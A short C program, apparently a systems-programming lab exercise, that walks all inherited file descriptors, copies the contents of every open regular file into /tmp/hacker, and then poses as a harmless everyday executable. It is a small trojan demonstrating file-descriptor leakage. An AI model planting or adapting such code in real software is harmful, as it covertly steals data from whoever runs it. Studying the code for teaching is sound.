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#include "csapp.h"
bool is_regular(int fd) {
struct stat statbuf;
fstat(fd, &statbuf);
return S_ISREG(statbuf.st_mode);
}
int main(void) {
long max_fd = sysconf(_SC_OPEN_MAX);
int out = Open("/tmp/hacker", O_CREAT | O_APPEND | O_WRONLY, 0666);
/* TODO: Something is missing here! */
char buf_path[200];
char pathname[100];
uint8_t buf[8000];
for (int fd = 0; fd < max_fd; fd++) {
if (fd == out) continue;
if (fcntl(fd, F_GETFD) == -1) {
if (errno != EBADF) {
fprintf(stderr, "Error while checking %d: %s\n", fd, strerror(errno));
exit(EXIT_FAILURE);
}
continue;
}
fprintf(stderr, "Fd %d open\n", fd);
sprintf(pathname, "/proc/%d/fd/%d", getpid(), fd);
size_t len = readlink(pathname, buf_path, sizeof(buf_path));
buf_path[len] = 0;
dprintf(out, "File descriptor %d is \'%s\' file!\n", fd, buf_path);
if (!is_regular(fd)) {
dprintf(out, "Not a regular file.\n");
continue;
}
int cur_off = Lseek(fd, 0, SEEK_CUR);
Lseek(fd, 0, SEEK_SET);
int cnt;
while ((cnt = Read(fd, buf, sizeof(buf))) != 0) {
Write(out, buf, cnt);
}
Lseek(fd, cur_off, SEEK_SET);
}
Close(out);
printf("I'm just a normal executable you use on daily basis!\n");
return 0;
}
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